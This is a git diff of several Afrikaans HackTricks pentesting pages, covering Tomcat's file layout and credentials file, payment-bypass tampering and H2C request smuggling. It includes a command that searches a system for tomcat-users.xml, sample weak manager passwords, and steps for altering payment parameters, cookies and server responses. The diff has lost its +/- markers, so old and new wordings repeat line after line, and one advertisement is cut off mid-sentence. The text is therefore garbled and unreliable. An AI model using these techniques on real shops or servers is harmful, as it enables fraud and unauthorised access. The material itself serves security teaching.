Naam van Tomcat-geloofsbriewe-lêer is _tomcat-users.xml_
Naam van Tomcat-geloofsbriewe lêer is _tomcat-users.xml_
```bash
find / -name tomcat-users.xml 2>/dev/null
```
@ -224,16 +222,12 @@ msf> use post/windows/gather/enum_tomcat
<details>
<summary><strong>Leer AWS hakwerk vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<img src="../../.gitbook/assets/image (675).png" alt="" data-size="original">
Vind kwesbaarhede wat die belangrikste is sodat jy hulle vinniger kan regmaak. Intruder spoor jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme reg oor jou hele tegnologie stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) vandag.
* Werk jy in 'n **cybersekerheidsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Werk jy in 'n **cybersecurity maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* **Deel jou haktruuks deur PRs in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,27 +2,19 @@
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Werk jy in 'n **cybersekerheidsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks-klere**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
* **Deel jou haktruuks deur PR's in te dien by die [hacktricks-opslagplek](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud-opslagplek](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regmaak. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
### Vermy om met root te hardloop
Om te verhoed dat Tomcat met root hardloop, is 'n baie algemene konfigurasie om 'n Apache-bediener in poort 80/443 in te stel en, as die versoekte pad ooreenstem met 'n regulêre uitdrukking, word die versoek na Tomcat gestuur wat op 'n ander poort hardloop.
Om te verhoed dat Tomcat met root hardloop, is 'n baie algemene konfigurasie om 'n Apache-bediener in poort 80/443 in te stel en, as die versoekte pad ooreenstem met 'n regexp, word die versoek gestuur na Tomcat wat op 'n ander poort hardloop.
### Standaardstruktuur
```
@ -49,14 +41,14 @@ Om te verhoed dat Tomcat met root hardloop, is 'n baie algemene konfigurasie om
└── Catalina
└── localhost
```
* Die `bin`-map hou skripte en binaire lêers wat nodig is om 'n Tomcat-bediener te begin en te laat loop.
* Die `conf`-map hou verskeie konfigurasie lêers wat deur Tomcat gebruik word.
* Die `tomcat-users.xml`-lêer hou gebruikerslegitimasie en hul toegewysde rolle.
* Die `lib`-map bevat die verskeie JAR-lêers wat nodig is vir die korrekte werking van Tomcat.
* Die `logs`- en `temp`-mappe hou tydelike loglêers.
* Die `webapps`-map is die verstek webwortel van Tomcat en bevat al die toepassings. Die `work`-map dien as 'n kas en word gebruik om data tydens uitvoering te stoor.
* Die `bin`-vouer stoor skripte en bineêre lêers wat nodig is om 'n Tomcat-bediener te begin en te hardloop.
* Die `conf`-vouer stoor verskeie opsetlêers wat deur Tomcat gebruik word.
* Die `tomcat-users.xml`-lêer stoor gebruikerlegitimasie en hul toegewysde rolle.
* Die `lib`-vouer hou die verskeie JAR-lêers wat nodig is vir die korrekte werking van Tomcat.
* Die `logs`- en `temp`-vouers stoor tydelike loglêers.
* Die `webapps`-vouer is die verstek webroet van Tomcat en bied al die toepassings aan. Die `work`-vouer tree op as 'n cache en word gebruik om data tydens uitvoering te stoor.
Daar word verwag dat elke map binne `webapps` die volgende struktuur sal hê.
Elke vouer binne `webapps` word verwag om die volgende struktuur te hê.
```
webapps/customapp
├── images
@ -73,10 +65,10 @@ webapps/customapp
└── classes
└── AdminServlet.class
```
Die belangrikste lêer onder hierdie is `WEB-INF/web.xml`, wat bekend staan as die implementeringsbeskrywer. Hierdie lêer stoor **inligting oor die roetes** wat deur die toepassing gebruik word en die klasse wat hierdie roetes hanteer.\
Alle gekompileerde klasse wat deur die toepassing gebruik word, moet in die `WEB-INF/classes`-vouer gestoor word. Hierdie klasse kan belangrike besigheidslogika sowel as sensitiewe inligting bevat. Enige kwesbaarheid in hierdie lêers kan lei tot die totale kompromittering van die webwerf. Die `lib`-vouer stoor die biblioteke wat deur daardie spesifieke toepassing benodig word. Die `jsp`-vouer stoor [Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages), voorheen bekend as `JavaServer Pages`, wat vergelyk kan word met PHP-lêers op 'n Apache-bediener.
Die belangrikste lêer onder hierdie is `WEB-INF/web.xml`, wat bekend staan as die implementeringsbeskrywing. Hierdie lêer stoor **inligting oor die roetes** wat deur die aansoek gebruik word en die klasse wat hierdie roetes hanteer.\
Alle gekompileerde klasse wat deur die aansoek gebruik word, moet gestoor word in die `WEB-INF/classes`-vouer. Hierdie klasse kan belangrike besigheidslogika sowel as sensitiewe inligting bevat. Enige kwesbaarheid in hierdie lêers kan lei tot totale kompromittering van die webwerf. Die `lib`-vouer stoor die biblioteke wat deur daardie spesifieke aansoek benodig word. Die `jsp`-vouer stoor [Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages), vroeër bekend as `JavaServer Pages`, wat vergelyk kan word met PHP-lêers op 'n Apache-bediener.
Hier is 'n voorbeeld van 'n **web.xml**-lêer.
Hier is 'n voorbeeld van **web.xml**-lêer.
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
@ -94,15 +86,15 @@ Hier is 'n voorbeeld van 'n **web.xml**-lêer.
</servlet-mapping>
</web-app>
```
Die `web.xml`-konfigurasie hierbo definieer 'n **nuwe servlet genaamd `AdminServlet`** wat gekoppel is aan die **klas `com.inlanefreight.api.AdminServlet`**. Java gebruik die puntnotasie om pakkette te skep, wat beteken dat die pad op die skyf vir die bogenoemde klas sou wees:
Die `web.xml`-konfigurasie hierbo definieer 'n **nuwe servlet genaamd `AdminServlet`** wat gekoppel is aan die **klas `com.inlanefreight.api.AdminServlet`**. Java gebruik die punt notering om pakkette te skep, wat beteken dat die pad op die skyf vir die bogenoemde klas sou wees:
* **`classes/com/inlanefreight/api/AdminServlet.class`**
Daarna word 'n nuwe servlet-kartering geskep om versoeke na `/admin` met `AdminServlet` te **karteer**. Hierdie konfigurasie sal enige versoek wat ontvang word vir **`/admin` na die `AdminServlet.class`-klas stuur vir verwerking**. Die **`web.xml`**-beskrywer bevat baie **sensitiewe inligting** en is 'n belangrike lêer om te ondersoek wanneer 'n **Local File Inclusion (LFI) kwesbaarheid** benut word.
Daarna word 'n nuwe servlet koppeling geskep om **versoeke na `/admin` met `AdminServlet`** te koppel. Hierdie konfigurasie sal enige versoek wat ontvang word vir **`/admin` na die `AdminServlet.class`** klas stuur vir verwerking. Die **`web.xml`** beskrywer bevat baie **sensitiewe inligting** en is 'n belangrike lêer om te ondersoek wanneer 'n **Local File Inclusion (LFI) kwesbaarheid** benut word.
### tomcat-gebruikers
Die **`tomcat-users.xml`**-lêer word gebruik om toegang tot die **`/manager` en `host-manager` administrasiebladsye** toe te laat of te verbied.
Die **`tomcat-users.xml`** lêer word gebruik om toegang tot die **`/manager` en `host-manager` admin-bladsye** toe te laat of te verbied.
```xml
<?xml version="1.0" encoding="UTF-8"?>
@ -143,27 +135,20 @@ will also need to set the passwords to something appropriate.
</tomcat-users>
```
Die lêer wys ons wat elkeen van die rolle `manager-gui`, `manager-script`, `manager-jmx`, en `manager-status` toegang tot bied. In hierdie voorbeeld kan ons sien dat 'n gebruiker `tomcat` met die wagwoord `tomcat` die `manager-gui` rol het, en 'n tweede swak wagwoord `admin` is ingestel vir die gebruikersrekening `admin`.
Die lêer wys ons wat elkeen van die rolle `manager-gui`, `manager-script`, `manager-jmx`, en `manager-status` toegang tot bied. In hierdie voorbeeld kan ons sien dat 'n gebruiker `tomcat` met die wagwoord `tomcat` die `manager-gui` rol het, en 'n tweede swak wagwoord `admin` is ingestel vir die gebruikersrekening `admin`
## Verwysings
* [https://academy.hackthebox.com/module/113/section/1090](https://academy.hackthebox.com/module/113/section/1090)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regstel. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Werk jy in 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* Werk jy in 'n **cybersekerheidsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -2,75 +2,45 @@
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Vind kwesbaarhede wat die belangrikste is sodat jy hulle vinniger kan regstel. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
## Bypass Betalingsprosesse
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Bypas Betalings Tegnieke
### Versoek Onderbreking
Tydens die transaksieproses is dit noodsaaklik om die data wat uitgewissel word tussen die kliënt en die bediener te monitor. Dit kan gedoen word deur alle versoek te onderskep. Binne hierdie versoek moet jy let op parameters met belangrike implikasies, soos:
### Versoekonderskepping
Tydens die transaksieproses is dit noodsaaklik om die data wat uitgeruil word tussen die klient en die bediener te monitor. Dit kan gedoen word deur alle versoek te onderskep. Binne hierdie versoek moet jy let op parameters met beduidende implikasies, soos:
- **Sukses**: Hierdie parameter dui dikwels die status van die transaksie aan.
- **Verwysingsbron**: Dit kan dui op die bron waarvandaan die versoek afkomstig is.
- **Terugroep**: Dit word tipies gebruik om die gebruiker na 'n voltooide transaksie om te lei.
- **Verwysingsbron**: Dit kan dui op die bron van waar die versoek afkomstig is.
- **Terugroep**: Dit word tipies gebruik om die gebruiker na 'n transaksie voltooi is, om te lei.
### URL-analise
As jy 'n parameter teëkom wat 'n URL bevat, veral een wat die patroon _example.com/payment/MD5HASH_ volg, vereis dit noukeurige ondersoek. Hier is 'n stap-vir-stap benadering:
As jy 'n parameter raakloop wat 'n URL bevat, veral een wat die patroon _voorbeeld.com/betaling/MD5HASH_ volg, vereis dit noukeurige ondersoek. Hier is 'n stap-vir-stap-benadering:
1. **Kopieer die URL**: Haal die URL uit die parameterwaarde.
2. **Nuwe venster-inspeksie**: Maak die gekopieerde URL oop in 'n nuwe blaaier-venster. Hierdie aksie is krities om die uitkoms van die transaksie te verstaan.
2. **Nuwe venster-inspeksie**: Maak die gekopieerde URL oop in 'n nuwe blaaier-venster. Hierdie aksie is krities vir die begrip van die transaksie se uitkoms.
### Parametermanipulasie
1. **Verander parameterwaardes**: Eksperimenteer deur die waardes van parameters soos _Sukses_, _Verwysingsbron_ of _Terugroep_ te verander. Byvoorbeeld, deur 'n parameter van `false` na `true` te verander, kan dit soms onthul hoe die stelsel hierdie insette hanteer.
2. **Verwyder parameters**: Probeer om sekere parameters heeltemal te verwyder om te sien hoe die stelsel reageer. Sommige stelsels mag fallbacks of verstekgedrag hê wanneer verwagte parameters ontbreek.
1. **Verander Parameterwaardes**: Eksperimenteer deur die waardes van parameters soos _Sukses_, _Verwysingsbron_ of _Terugroep_ te verander. Byvoorbeeld, die verandering van 'n parameter van `onwaar` na `waar` kan soms onthul hoe die stelsel hierdie insette hanteer.
2. **Verwyder Parameters**: Probeer om sekere parameters heeltemal te verwyder om te sien hoe die stelsel reageer. Sommige stelsels mag terugvalle of verstekgedrag hê wanneer verwagte parameters ontbreek.
### Koekie-manipulasie
1. **Ondersoek koekies**: Baie webwerwe stoor belangrike inligting in koekies. Ondersoek hierdie koekies vir enige data wat verband hou met betalingsstatus of gebruikersverifikasie.
2. **Verander koekiewaardes**: Verander die waardes wat in die koekies gestoor word en let op hoe die webwerf se respons of gedrag verander.
1. **Ondersoek Koekies**: Baie webwerwe stoor belangrike inligting in koekies. Inspekteer hierdie koekies vir enige data wat verband hou met betalingsstatus of gebruiker-outentifikasie.
2. **Verander Koekiewaardes**: Verander die waardes wat in die koekies gestoor word en let op hoe die webwerf se reaksie of gedrag verander.
### Sessie-kaaping
1. **Sessie-tokens**: As sessie-tokens gebruik word in die betalingsproses, probeer om hulle vas te vang en te manipuleer. Dit kan insig gee in sessiebestuurskwesbaarhede.
### Sessie-kaap
1. **Sessietokens**: As sessietokens gebruik word in die betalingsproses, probeer om hulle vas te vang en te manipuleer. Dit kan insigte gee in sessiebestuurskwakhede.
### Responsmanipulasie
1. **Onderskep respons**: Gebruik gereedskap om die respons van die bediener te onderskep en te analiseer. Soek na enige data wat 'n suksesvolle transaksie kan aandui of die volgende stappe in die betalingsproses kan onthul.
2. **Verander respons**: Probeer om die respons voor verwerking deur die blaaier of die toepassing te verander om 'n suksesvolle transaksiesituasie te simuleer.
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Vind kwesbaarhede wat die belangrikste is sodat jy hulle vinniger kan regstel. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
</details>
### Reaksie-manipulasie
1. **Onderskep Reaksies**: Gebruik gereedskap om die reaksies van die bediener te onderskep en te analiseer. Soek na enige data wat 'n suksesvolle transaksie kan aandui of die volgende stappe in die betalingsproses kan onthul.
2. **Verander Reaksies**: Probeer om die reaksies te verander voordat hulle deur die blaaier of die aansoek verwerk word om 'n suksesvolle transaksiescenario na te boots.

View file

@ -1,4 +1,4 @@
# Opgradering van Hoofert Smuggling
# Opgraderingskop Smokkelary
<details>
@ -6,33 +6,37 @@
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
## H2C Smokkelary <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
Vind kwesbaarhede wat die belangrikste is sodat jy hulle vinniger kan regstel. Intruder volg jou aanvals
### HTTP2 Oor Skoon Tekskommunikasie (H2C) <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
H2C, of **http2 oor skoon teks**, wyk af van die norm van tydelike HTTP-verbindings deur 'n standaard HTTP **verbindings na 'n volgehoue een op te gradeer**. Hierdie opgegradeerde verbindings maak gebruik van die http2 binêre protokol vir voortdurende kommunikasie, in teenstelling met die enkelversoek-aard van platte teks HTTP.
Die kern van die smokkelprobleem ontstaan met die gebruik van 'n **omgekeerde proksi**. Gewoonlik verwerk en stuur die omgekeerde proksi HTTP-versoeke na die agterkant en stuur daarna die reaksie van die agterkant terug. Wanneer die `Connection: Upgrade`-kop teenwoordig is in 'n HTTP-versoek (gewoonlik gesien met websocket-verbindings), handhaaf die omgekeerde **proksi 'n volgehoue verbindings** tussen klient en bediener, wat die voortdurende uitruil vergemaklik wat deur sekere protokolle vereis word. Vir H2C-verbindings vereis die RFC die teenwoordigheid van drie spesifieke koppe:
```
Upgrade: h2c
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
Connection: Upgrade, HTTP2-Settings
```
Die kwesbaarheid ontstaan wanneer die omgekeerde proxy ophou om individuele versoek te bestuur nadat 'n verbinding opgegradeer is, en aanneem dat sy roete taak voltooi is na die vestiging van die verbinding. Die uitbuiting van H2C Smuggling maak dit moontlik om omseiling van omgekeerde proxy-reëls toe te pas tydens versoekverwerking, soos pad-gebaseerde roetes, outentifikasie en WAF-verwerking, op voorwaarde dat 'n H2C-verbinding suksesvol geïnisieer word.
Die kwesbaarheid ontstaan wanneer, na die opgradering van 'n verbinding, die omgekeerde proxy ophou om individuele versoek te bestuur, en aanneem dat sy taak van roeteverwerking voltooi is na die vestiging van die verbinding. Die uitbuiting van H2C Smuggling maak dit moontlik om omseiling van omgekeerde proxy-reëls wat toegepas word tydens versoekverwerking, soos pad-gebaseerde roeteverwerking, outentifikasie, en WAF-verwerking, toe te laat, mits 'n H2C-verbinding suksesvol geïnisieer word.
### Kwesbare Proksies <a href="#exploitation" id="exploitation"></a>
### Kwesbare Proksi <a href="#exploitation" id="exploitation"></a>
Die kwesbaarheid is afhanklik van die hantering van die `Upgrade` en soms `Connection` koppele deur die omgekeerde proxy. Die volgende proksies stuur inherent hierdie koppele deur tydens proxy-pass, en maak dus H2C-smuggling inherente moontlik:
Die kwesbaarheid is afhanklik van die hantering van `Upgrade` en soms `Connection` koppele deur die omgekeerde proxy. Die volgende proksi's stuur hierdie koppele inherent deur tydens proxy-pass, wat inherent H2C-smuggling moontlik maak:
- HAProxy
- Traefik
- Nuster
Daarenteen stuur hierdie dienste nie inherent beide koppele deur tydens proxy-pass nie. Hulle kan egter onveilig gekonfigureer word, wat ongefilterde deurstuur van die `Upgrade` en `Connection` koppele moontlik maak:
Daarteenoor stuur hierdie dienste nie hierdie koppele inherent deur tydens proxy-pass nie. Tog kan hulle onveilig gekonfigureer word, wat ongefilterde deurstuur van `Upgrade` en `Connection` koppele moontlik maak:
- AWS ALB/CLB
- NGINX
@ -45,29 +49,29 @@ Daarenteen stuur hierdie dienste nie inherent beide koppele deur tydens proxy-pa
### Uitbuiting <a href="#exploitation" id="exploitation"></a>
Dit is belangrik om daarop te let dat nie alle bedieners inherent die koppele stuur wat nodig is vir 'n voldoenende H2C-verbinding opgradering nie. Gevolglik blokkeer bedieners soos AWS ALB/CLB, NGINX en Apache Traffic Server natuurlik H2C-verbindinge. Dit is egter die moeite werd om te toets met die nie-voldoenende `Connection: Upgrade` variant, wat die `HTTP2-Settings` waarde uit die `Connection` kop uitsluit, aangesien sommige agtergronde nie aan die standaarde voldoen nie.
Dit is noodsaaklik om daarop te let dat nie alle bedieners inherent die koppele deurstuur wat nodig is vir 'n voldoenende H2C-verbinding opgradering nie. As sulks, bedieners soos AWS ALB/CLB, NGINX, en Apache Traffic Server, onder andere, blok natuurlik H2C-verbindinge. Nietemin, dit is die moeite werd om te toets met die nie-voldoenende `Connection: Upgrade` variant, wat die `HTTP2-Settings` waarde uit die `Connection` kop uitsluit, aangesien sommige agtergronde nie aan die standaarde voldoen nie.
{% hint style="danger" %}
Ongeag die spesifieke **pad** wat in die `proxy_pass` URL aangedui word (bv. `http://backend:9999/socket.io`), word die gevestigde verbinding standaard na `http://backend:9999` omgeskakel. Dit maak dit moontlik om met enige pad binne daardie interne eindpunt te kommunikeer deur van hierdie tegniek gebruik te maak. Gevolglik beperk die spesifikasie van 'n pad in die `proxy_pass` URL nie toegang nie.
Ongeag die spesifieke **pad** aangewys in die `proxy_pass` URL (bv., `http://backend:9999/socket.io`), gaan die gevestigde verbinding standaard na `http://backend:9999`. Dit maak dit moontlik om met enige pad binne daardie interne eindpunt te interaksieer deur van hierdie tegniek gebruik te maak. Gevolglik beperk die spesifikasie van 'n pad in die `proxy_pass` URL nie die toegang nie.
{% endhint %}
Die hulpmiddels [**h2csmuggler deur BishopFox**](https://github.com/BishopFox/h2csmuggler) en [**h2csmuggler deur assetnote**](https://github.com/assetnote/h2csmuggler) fasiliteer pogings om **omseiling van proxy-geïmpliseerde beskerming** te bewerkstellig deur 'n H2C-verbinding te vestig, wat toegang tot hulpbronne wat deur die proxy beskerm word, moontlik maak.
Die gereedskap [**h2csmuggler deur BishopFox**](https://github.com/BishopFox/h2csmuggler) en [**h2csmuggler deur assetnote**](https://github.com/assetnote/h2csmuggler) fasiliteer pogings om **omseiling van proxy-geïmplanteerde beskerming** te bewerkstellig deur 'n H2C-verbinding te vestig, wat sodoende toegang tot hulpbronne wat deur die proxy beskerm word, moontlik maak.
